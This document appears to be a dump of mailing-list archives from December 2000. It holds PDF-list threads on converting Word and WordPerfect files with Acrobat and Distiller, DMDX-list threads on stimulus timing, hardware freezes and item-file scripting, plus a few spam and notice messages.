""office"" documents to PDF. Leonard --=20 = ---------------------------------------------------------------------= -------Leonard=20 Rosenthol       =20        =20        =20 Sr. Software=20 = Engineer              =20         (215) = 922-3509=20 (voice) Digital Applications    =20 =            = ;    =20 (215) 440-0504 (fax)PGP Fingerprint: 8CC9 8878 921E C627 = 0BC1 =20 15BB FC19 64A9 0016 1397   Leonard   Because of the number of files I have = to convert,=20 I will be looking into a 3rd party automated convertor as you = suggest.  I=20 will be doing my homework to evaluate activePDF's software as well as = any=20 others I can locate.  Have you a ready source of such vendors = and/or=20 evaluations?   Thanks again for the = input. Marti ------=_NextPart_000_0073_01C0730B.75E43B20-- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 31-Dec-2000 17:59:23-GMT,3703;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id KAA16798 for ; Sun, 31 Dec 2000 10:59:22 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA02855; Sun, 31 Dec 2000 11:35:02 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sun, 31 Dec 2000 11:29:48 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id LAA02452; Sun, 31 Dec 2000 11:29:47 -0600 Received: from smtp.wanadoo.es (m1smtpisp03.wanadoo.es [62.36.220.63] (may be forged)) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA02448 for ; Sun, 31 Dec 2000 11:29:45 -0600 Received: from terra (usuario3-36-11-7.dialup.uni2.es [62.36.11.7]) by smtp.wanadoo.es (8.10.2/8.10.2) with SMTP id eBVHTTi01962 for ; Sun, 31 Dec 2000 18:29:29 +0100 (MET) Message-ID: <010701c0734e$fcba8760$6a28fea9@terra.es> From: ""La Oficina Sin Papel"" To: References: <002201c06ee9$ed849ba0$15eeffd1@computer><000b01c06eef$c3d92180$c3eeffd1@computer><001601c06f02$635f94c0$6a28fea9@terra.es><002801c072e3$2e92f720$57eeffd1@computer> Subject: RE: [PDF] Converting WordPerfect, MS Word and RTF (Rich TextFormat) to PDF ""Hidden Text"" Date: Sun, 31 Dec 2000 18:26:13 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > You're not trying to drop a Word or WordPerfect file on > Distiller, are you? That COMPLETELY wrong! Drop those files on > top of the Acrobat icon (or into the Acrobat window), and Acrobat > will try to convert them for you. > > Distiller ONLY DOES Postscript! Leonard, I agree with you. Distiller is supossed to do ONLY certain things. But the reality is that it does others. I find Distiller a tricky device, that doesn't always do what you need and sometimes, does other things it is not supossed to. By the way, when I drop a file on top of the icon (Acrobat 4) or into the Acrobat window, I get a msgbox ""Error opening. Acrobat does not start by %PDF"". I know is supossed to work that way but my private reality is it doesn't. I don't know why, but it doesn't. This is why sometimes a non ""orthodox"" workaround is desirable (mostly if it works). Well, however this is done, it belongs to the last century. Let's hope Adobe brings us a huge wish list in the form of Acrobat 5.0 ...and Marti, I don't monitor the list 24/7. I do it 25/7 because it's the place where real experts like George, Leonard, Aandi, Max, Bryan, Duff, Jason, Roberto, Steve, (forgive me the forgotten ones) and others, share with us knowledge, patience, and from time to time, secrets. Thanks to all. You did so much...! I wish you (and all the list) have a wonderful start for 2001 (and better revenues for the year.. ;�) Carlos. Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 31-Dec-2000 18:39:49-GMT,2696;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id LAA17510 for ; Sun, 31 Dec 2000 11:39:48 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA04716; Sun, 31 Dec 2000 12:11:56 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sun, 31 Dec 2000 12:05:45 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id MAA04424; Sun, 31 Dec 2000 12:05:38 -0600 Received: from smtp.wanadoo.es (m1smtpisp01.wanadoo.es [62.36.220.61] (may be forged)) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA04401 for ; Sun, 31 Dec 2000 12:05:27 -0600 Received: from terra (usuario3-36-12-160.dialup.uni2.es [62.36.12.160]) by smtp.wanadoo.es (8.10.2/8.10.2) with SMTP id eBVI5Aw07385 for ; Sun, 31 Dec 2000 19:05:11 +0100 (MET) Message-ID: <000e01c07353$f785e140$6a28fea9@terra.es> From: ""La Oficina Sin Papel"" To: References: <002201c06ee9$ed849ba0$15eeffd1@computer> <000b01c06eef$c3d92180$c3eeffd1@computer> <001601c06f02$635f94c0$6a28fea9@terra.es> <002801c072e3$2e92f720$57eeffd1@computer> <000701c072e6$3c1927e0$6a28fea9@terra.es> <000801c072f2$f8b77a80$7feeffd1@computer> <000b01c0732a$8aa71400$6a28fea9@terra.es> <005a01c07349$e75b48a0$4eeeffd1@computer> Subject: RE: [PDF] Converting WordPerfect, MS Word and RTF (Rich Text Format) to PDF ""Hidden Text"" Date: Sun, 31 Dec 2000 18:59:55 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > I noticed that on the couple of documents that I processed, it truncated the > name.... any thoughts on that? I will be trying more a little later. Use Distiller the same way you used PDF Writer. Besides, Pdf Writer prompts you for the filename, no? Distiller won't. Carlos Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 31-Dec-2000 19:21:19-GMT,3431;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id MAA18196 for ; Sun, 31 Dec 2000 12:21:19 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id NAA07332; Sun, 31 Dec 2000 13:11:38 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sun, 31 Dec 2000 13:06:02 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id NAA07076; Sun, 31 Dec 2000 13:06:01 -0600 Received: from smtp.digapp.com ([38.164.135.2]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id NAA07072 for ; Sun, 31 Dec 2000 13:05:59 -0600 Received: from [207.29.200.50] by smtp.digapp.com (AppleShare IP Mail Server 6.3) id 98472 via TCP with SMTP; Sun, 31 Dec 2000 14:07:03 -0500 Mime-Version: 1.0 X-Sender: leonardr@smtp.digapp.com Message-Id: In-Reply-To: <010701c0734e$fcba8760$6a28fea9@terra.es> References: <002201c06ee9$ed849ba0$15eeffd1@computer><000b01c06eef$c3d92180$c3eeffd1@c omputer><001601c06f02$635f94c0$6a28fea9@terra.es><002801c072e3$2e92f720$57 eeffd1@computer> <010701c0734e$fcba8760$6a28fea9@terra.es> Date: Sun, 31 Dec 2000 14:03:07 -0500 To: pdf@lists.pdfzone.com From: Leonard Rosenthol Subject: RE: [PDF] Converting WordPerfect, MS Word and RTF (Rich TextFormat) to PDF ""Hidden Text"" Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ At 6:26 PM +0100 12/31/00, La Oficina Sin Papel wrote: > > Distiller ONLY DOES Postscript! > >Leonard, I agree with you. Distiller is supossed to do ONLY certain >things. But the reality is that it does others. No, sorry, the reality is that Distiller is a ""one trick pony"". It converts Postscript to PDF (and all the things that that entails like image downsampling, font management, etc.). >By the way, when I drop a file on top of the icon (Acrobat 4) or into the >Acrobat window, I get a msgbox ""Error opening. Acrobat does not >start by %PDF"". Then you're Acrobat installation is messed up and I suggest you reinstall. Acrobat (on Windows only!) supports a feature called ""Open All"" that lets you drop certain types of files (text, images, MSOffice, etc.) into it and it will then ""do what it can"" to convert them to PDF. This features is even noted in the Read Me document for Acrobat 4 (it didn't make the manual). Leonard -- ---------------------------------------------------------------------------- Leonard Rosenthol Sr. Software Engineer (215) 922-3509 (voice) Digital Applications (215) 440-0504 (fax) PGP Fingerprint: 8CC9 8878 921E C627 0BC1 15BB FC19 64A9 0016 1397 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 31-Dec-2000 13:21:06-GMT,2308;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id GAA06112 for ; Mon, 1 Jan 2001 06:21:05 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id HAA15385; Mon, 1 Jan 2001 07:04:44 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Mon, 1 Jan 2001 06:53:58 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id GAA14717; Mon, 1 Jan 2001 06:53:55 -0600 Received: from mail.bezeqint.net (mail-a.bezeqint.net [192.115.106.23]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id GAA14713 for ; Mon, 1 Jan 2001 06:53:53 -0600 Received: from Leah (clnt-8194.bezeqint.net) by mail.bezeqint.net (Sun Internet Mail Server sims.3.5.2000.03.23.18.03.p10) with ESMTP id <0G6H0011EHU3UI@mail.bezeqint.net> for pdf@lists.pdfzone.com; Mon, 1 Jan 2001 14:40:05 +0200 (IST) Date: Mon, 01 Jan 2001 15:37:30 +0200 From: Schneider Leah Subject: [PDF] PDF Distiller To: pdf@lists.pdfzone.com Message-id: MIME-version: 1.0 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-type: text/plain; charset=""iso-8859-1"" Content-transfer-encoding: 7bit Importance: Normal X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Priority: 3 (Normal) Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I have to write to Distiller as I'm using ME fonts. I need to know where to set programmatically the pdf file name before the report is written, so that Adobe won't ask for 'Save as' name. I know how to do it for PDFWriter - via the registry. Thank you. Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 31-Dec-2000 14:07:48-GMT,2828;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id HAA06862 for ; Mon, 1 Jan 2001 07:07:47 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id HAA18757; Mon, 1 Jan 2001 07:52:07 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Mon, 1 Jan 2001 07:44:12 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id HAA18131; Mon, 1 Jan 2001 07:44:11 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id HAA18127 for ; Mon, 1 Jan 2001 07:44:05 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id NAA18401 for ; Mon, 1 Jan 2001 13:44:11 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] PDF Distiller Date: Mon, 1 Jan 2001 13:44:02 -0000 Message-ID: <003701c073f8$e7540220$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: Importance: Normal Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > I have to write to Distiller as I'm using ME fonts. > I need to know where to set programmatically the pdf file > name before the > report is written, so that Adobe won't ask for 'Save as' > name. I know how to > do it for PDFWriter - via the registry. To do this you do NOT rely on the Distiller printer's automatic creation of PDF. This is not an automatable process. Instead you do a two stage process. 1. Use the Distiller printer driver, but make it print to a file instead of the PDF Port. This is nothing to do with Acrobat - you use the Windows API or your application environment to print to file. 2. Run Distiller yourself, by command line or OLE (according to your preference) to make it read the PostScript file you created, and save it to the location of your choice. Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 31-Dec-2000 15:08:39-GMT,3739;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id IAA07785 for ; Mon, 1 Jan 2001 08:08:38 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA21619; Mon, 1 Jan 2001 08:59:13 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Mon, 1 Jan 2001 08:50:35 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id IAA21232; Mon, 1 Jan 2001 08:50:29 -0600 Received: from mail.bezeqint.net (mail-a.bezeqint.net [192.115.106.23]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA21214 for ; Mon, 1 Jan 2001 08:50:26 -0600 Received: from Leah (clnt-8194.bezeqint.net) by mail.bezeqint.net (Sun Internet Mail Server sims.3.5.2000.03.23.18.03.p10) with ESMTP id <0G6H004QLNA22G@mail.bezeqint.net> for pdf@lists.pdfzone.com; Mon, 1 Jan 2001 16:37:16 +0200 (IST) Date: Mon, 01 Jan 2001 17:34:47 +0200 From: Schneider Leah Subject: RE: [PDF] PDF Distiller In-reply-to: <003701c073f8$e7540220$510b83c1@gateway.quite.com> To: pdf@lists.pdfzone.com Message-id: MIME-version: 1.0 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-type: text/plain; charset=""iso-8859-1"" Content-transfer-encoding: 7bit Importance: Normal X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Priority: 3 (Normal) Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Thank you very much for the quick response. I guess, the second part with OLE will be fine, I found the method. However, I still need some more help - it might be trivial, but what is the easiest way to pre-set the 'print to file' value? Where to look for it? Thanks. -----Original Message----- From: owner-pdf@lists.pdfzone.com [mailto:owner-pdf@lists.pdfzone.com]On Behalf Of Aandi Inston Sent: Monday, January 01, 2001 3:44 PM To: pdf@lists.pdfzone.com Subject: RE: [PDF] PDF Distiller The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > I have to write to Distiller as I'm using ME fonts. > I need to know where to set programmatically the pdf file > name before the > report is written, so that Adobe won't ask for 'Save as' > name. I know how to > do it for PDFWriter - via the registry. To do this you do NOT rely on the Distiller printer's automatic creation of PDF. This is not an automatable process. Instead you do a two stage process. 1. Use the Distiller printer driver, but make it print to a file instead of the PDF Port. This is nothing to do with Acrobat - you use the Windows API or your application environment to print to file. 2. Run Distiller yourself, by command line or OLE (according to your preference) to make it read the PostScript file you created, and save it to the location of your choice. Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ----------------------------------------------------------------------------",0,1 p p ,hang-gliding@lists.utah.edu,"Mon, 04 Dec 2000 12:14:45 -0500","Sign up to get $10, refer 15 people to get $100!","Sign up to get $10, refer 15 people to get $100! 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First: Fax (485-6253) or email (Copy-Shop@worldnet.att.net) JUST your bibliography to The Copy Shop so we can get your copyright clearances done. The earlier the better. As usual, we will work with you to get the packets set up the way you like. We would like to thank the professors who have already gotten their packets in and want to assure each of you; the materials will be ready for your students the first day of classes with all the clearances in place. Thank you, everyone for your continued business. Erica ",1,0 Joni ,DMDX@psy1.psych.arizona.edu,"Mon, 04 Dec 2000 21:30:19 -0500",discover back your youth,"on galatia see dance be quarry may beltsville it's become ",1,0 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Tue, 05 Dec 2000 11:18:48 -0500",[DMDX] Re: PIO / Sound latency slop,"Turning off the audio acceleration in order to get rid of the popping on the Montego A3D resulted in a huge increase in latency and latency variability. Thankfully, since installing DirectX 8.0, I am able to re-enable the acceleration without hearing the pop. I have no idea why this is, but it seems to have worked. On another note, we've run into major problems with DMDX freezing the entire computer during presentation of 640 X 480 X 16 bit images, sound files, and bytes to the output port of the CIO/DIO 24 (computerboards PIO 12 clone). This required a hard re-boot in order to recover. Freezing happened when the thread priorities in TimeDX were all set to normal as well. I finally stripped out all unnecessary cards, disabled the 2nd channel IDE controller, removed CD Rom, disabled floppy drive, and began with a minimal parameter line with no input polling (since we are merely presenting stimuli, not recording responses). Finally, I configured the computer to ignore the network card so that it won't be polled while DMDX is running. I've now managed to get the very long item file to run once, but since it takes over 40 minutes to complete, I do not know if I will be able to get this performance to replicate. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 05 Dec 2000 09:55:19 -0700",[DMDX] Re: PIO / Sound latency slop,"At 11:18 AM 12/5/00 -0500, you wrote: >Turning off the audio acceleration in order to get rid of the popping on >the Montego A3D resulted in a huge increase in latency and latency >variability. Thankfully, since installing DirectX 8.0, I am able to >re-enable the acceleration without hearing the pop. I have no idea why >this is, but it seems to have worked. Some sort of incompatibility in your hardware. >On another note, we've run into major problems with DMDX freezing the >entire computer during presentation of 640 X 480 X 16 bit images, sound >files, and bytes to the output port of the CIO/DIO 24 (computerboards PIO >12 clone). This required a hard re-boot in order to recover. Freezing >happened when the thread priorities in TimeDX were all set to normal as >well. I finally stripped out all unnecessary cards, disabled the 2nd >channel IDE controller, removed CD Rom, disabled floppy drive, and began >with a minimal parameter line with no input polling (since we are merely >presenting stimuli, not recording responses). Finally, I configured the >computer to ignore the network card so that it won't be polled while DMDX >is running. I've now managed to get the very long item file to run once, >but since it takes over 40 minutes to complete, I do not know if I will be >able to get this performance to replicate. Like I said, some sort of incompatibility in your hardware, you've clearly got some serious issues if DMDX is crashing, AFAIK it doesn't crash on other peoples machines. Even with all those elements present that's still a fairly standard mix for me to test on the testbed, while I don't regularly test for 45 minutes I admit I certainly have left it running over night doing things before to test for resource leaks. If you want you can zip up all your stimuli and your item file, send them to me and I can run them repeatedly. Perhaps you have the interrupt on the PIO card enabled and it's screwing things up, I usually leave the interrupt jumper on X. Perhaps your version of windows has managed to recognize the PIO as some other device, mine usually recognize it as some kind of broken serial device (which AFAIK is ok). Have a look in the device manager for something using the PIO's port number (by default 300-303, we usually set them for 310-313), Properties of My Computer / Device Manager / Properties of Computer / then check ""Input/output (I/O)"". Is the machine in fact stable running some other benchmarks? Perhaps you've got failing hardware and the thing crashes doing anything but because this is your stimulus machine DMDX is all you use it for and therefore it looks like DMDX is crashing? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""What George Washington did for us was to throw out the British, so that we wouldn't have a fat, insensitive government running our country. Nice try anyway, George."" - D.J. on KSFO/KYA ",0,0 Jenn-Yeu Chen ,DMDX ,"Wed, 06 Dec 2000 09:48:50 +0800",[DMDX] IF...THEN in DMDX and others,"Hi, I bet answers can be found in the DMDX manual for the following questions. But, since I have not found them and I need them kind of urgently, I am taking a shortcut, i.e., getting answers from people who are more familiar with DMDX. The first question is: Can DMDX take IF...THEN command to control the kind of operations to be performed? I want to sound a warning signal for the subject if his/her reaction time exceeds a preset deadline. I want to do this but still obtain the actual reaction time. Can someone tell me how this can be done? The second question is: Is there a way, and how, to output the experimenter specified information to a file whose data structure can be matched with that of the data file that DMDX creates? In conjunction with the RT data, I want to be able to store all the codes that define the experimental condition of a trial, together with the stimuli that are shown on that trial. Thanks in advance to all who offer answers to these questions. -- Jenn-Yeu Chen, Ph.D. Professor and Chair Department of Psychology and Center for Research in Cognitive Science National Chung-Cheng University 160 San-Hsing Village, Min-Hsiung Chia-Yi, Taiwan 621 ",0,0 """Steven D. LaRowe"" ",DMDX@psy1.psych.arizona.edu,"Wed, 06 Dec 2000 08:08:05 -0500",[DMDX] Re: PIO / Sound latency slop,"Excellent work, boss. --S ----- Original Message ----- From: ""John P. Kline"" To: Cc: Sent: Tuesday, December 05, 2000 11:18 AM Subject: [DMDX] Re: PIO / Sound latency slop > Turning off the audio acceleration in order to get rid of the popping on > the Montego A3D resulted in a huge increase in latency and latency > variability. Thankfully, since installing DirectX 8.0, I am able to > re-enable the acceleration without hearing the pop. I have no idea why > this is, but it seems to have worked. > > On another note, we've run into major problems with DMDX freezing the > entire computer during presentation of 640 X 480 X 16 bit images, sound > files, and bytes to the output port of the CIO/DIO 24 (computerboards PIO > 12 clone). This required a hard re-boot in order to recover. Freezing > happened when the thread priorities in TimeDX were all set to normal as > well. I finally stripped out all unnecessary cards, disabled the 2nd > channel IDE controller, removed CD Rom, disabled floppy drive, and began > with a minimal parameter line with no input polling (since we are merely > presenting stimuli, not recording responses). Finally, I configured the > computer to ignore the network card so that it won't be polled while DMDX > is running. I've now managed to get the very long item file to run once, > but since it takes over 40 minutes to complete, I do not know if I will be > able to get this performance to replicate. > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ====================================================================",0,1 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Wed, 06 Dec 2000 09:38:36 -0500",[DMDX] Re: PIO / Sound latency slop,"I feel really silly because I should have noticed this. The freezing was due to a shared I/O address that was not apparent unless I specifically looked through the I/O addresses (i.e. no devices were reported as being in conflict). Moving the CIO/DIO 24's base address seems to have solved this. BTW Jonathan: Thanks for the offer re: test-running our item files. This does not appear to be necessary at present. best regards, John >----- Original Message ----- >From: ""John P. Kline"" >To: >Cc: >Sent: Tuesday, December 05, 2000 11:18 AM >Subject: [DMDX] Re: PIO / Sound latency slop > > > > Turning off the audio acceleration in order to get rid of the popping on > > the Montego A3D resulted in a huge increase in latency and latency > > variability. Thankfully, since installing DirectX 8.0, I am able to > > re-enable the acceleration without hearing the pop. I have no idea why > > this is, but it seems to have worked. > > > > On another note, we've run into major problems with DMDX freezing the > > entire computer during presentation of 640 X 480 X 16 bit images, sound > > files, and bytes to the output port of the CIO/DIO 24 (computerboards PIO > > 12 clone). This required a hard re-boot in order to recover. Freezing > > happened when the thread priorities in TimeDX were all set to normal as > > well. I finally stripped out all unnecessary cards, disabled the 2nd > > channel IDE controller, removed CD Rom, disabled floppy drive, and began > > with a minimal parameter line with no input polling (since we are merely > > presenting stimuli, not recording responses). Finally, I configured the > > computer to ignore the network card so that it won't be polled while DMDX > > is running. I've now managed to get the very long item file to run once, > > but since it takes over 40 minutes to complete, I do not know if I will be > > able to get this performance to replicate. > > > > ==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > ==================================================================== > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== _____________________________________________________________________________ John P. Kline, Ph.D. Phone: 850-644-9363 Assistant Professor Fax: 850-644-7739 Department of Psychology Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ______________________________________________________________________________",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 06 Dec 2000 09:28:39 -0700",[DMDX] Re: IF...THEN in DMDX and others,"At 09:48 AM 12/6/00 +0800, you wrote: >Hi, I bet answers can be found in the DMDX manual for the following >questions. But, since I have not found them and I need them kind >of urgently, I am taking a shortcut, i.e., getting answers from people who >are more familiar with DMDX. Hey, don't worry, no one actually reads the help files, why should you be any different? >The first question is: Can DMDX take IF...THEN command to control the kind >of operations to be performed? I want to sound a warning >signal for the subject if his/her reaction time exceeds a preset deadline. >I want to do this but still obtain the actual reaction >time. Can someone tell me how this can be done? No, decisions can only be made on an item by item basis, nothing can be done as an item is executing. And before you ask, no, DMDX will never have this capability. All you could do would be to provide some sort of warning after the fact and even that would require a new keyword to store the RT in a counter so a comparison can be made against it, however adding that keyword would be pretty trivial. >The second question is: Is there a way, and how, to output the >experimenter specified information to a file whose data structure can >be matched with that of the data file that DMDX creates? In conjunction >with the RT data, I want to be able to store all the codes >that define the experimental condition of a trial, together with the >stimuli that are shown on that trial. Set the keywords SET and EMIT in the DMDX help file. You can't write to a separate data file but you can EMIT the value of a counter to the output data file, so if you have several datum to write you could have multiple SET / EMIT pairs in one item. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""What George Washington did for us was to throw out the British, so that we wouldn't have a fat, insensitive government running our country. Nice try anyway, George."" - D.J. on KSFO/KYA ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 06 Dec 2000 11:01:43 -0700",[DMDX] Re: IF...THEN in DMDX and others,"At 09:28 AM 12/6/00 -0700, you wrote: Sorry, that should be: > See the keywords SET and EMIT in the DMDX help file. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Main's Law: For every action there is an equal and opposite government program. ",0,0 Arie van der Lugt ,DMDX@psy1.psych.arizona.edu,"Thu, 07 Dec 2000 16:43:16 +0000",[DMDX] Branching and Scrambling,"Hello, I'm currently trying to set up an experiment in which subjects are asked to perform a categorisation on visual displays. I would like to have the subjects perform this categorisation until they reach some criterium performance (e.g. 80%). The test script that I've written (see below) is intended to use both scrambling and branching and is set up analogous to the example available from the user list (December 1999) with fixed destination items. -----------Scramble and Branching Script-------------- $ 100 ; $ +1 * ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1""/; +2 * ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1""/; +3 * ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1""/; +4 * ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1""/; +5 * ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1""/; +6 * ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1""/; +7 * ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1""/; $ +8 * ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" , ""1"" /; 200 ""The End""; $ When I try to run this script I get the following error message: <$100> Missing Item Number Does anyone have an idea why this happens? Cheers, Arie ---------------------- Arie van der Lugt School of Psychology University of Exeter Washington Singer Laboratories Perry Road Exeter UK EX44QG Telephone: (0044)01392-264636 Fax: (0044)01392-264623",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 07 Dec 2000 11:24:52 -0700",[DMDX] Re: Branching and Scrambling,"Probably because you need to specify the block size to scramble, like . by itself probably doesn't even turn scrambling on, I've never used it that way. At 04:43 PM 12/7/00 +0000, you wrote: >Hello, > >I'm currently trying to set up an experiment in which >subjects are asked to perform a categorisation on visual >displays. I would like to have the subjects perform this >categorisation until they reach some criterium performance >(e.g. 80%). The test script that I've written (see below) >is intended to use both scrambling and branching and is set >up analogous to the example available from the user list >(December 1999) with fixed destination items. > >-----------Scramble and Branching Script-------------- > > > 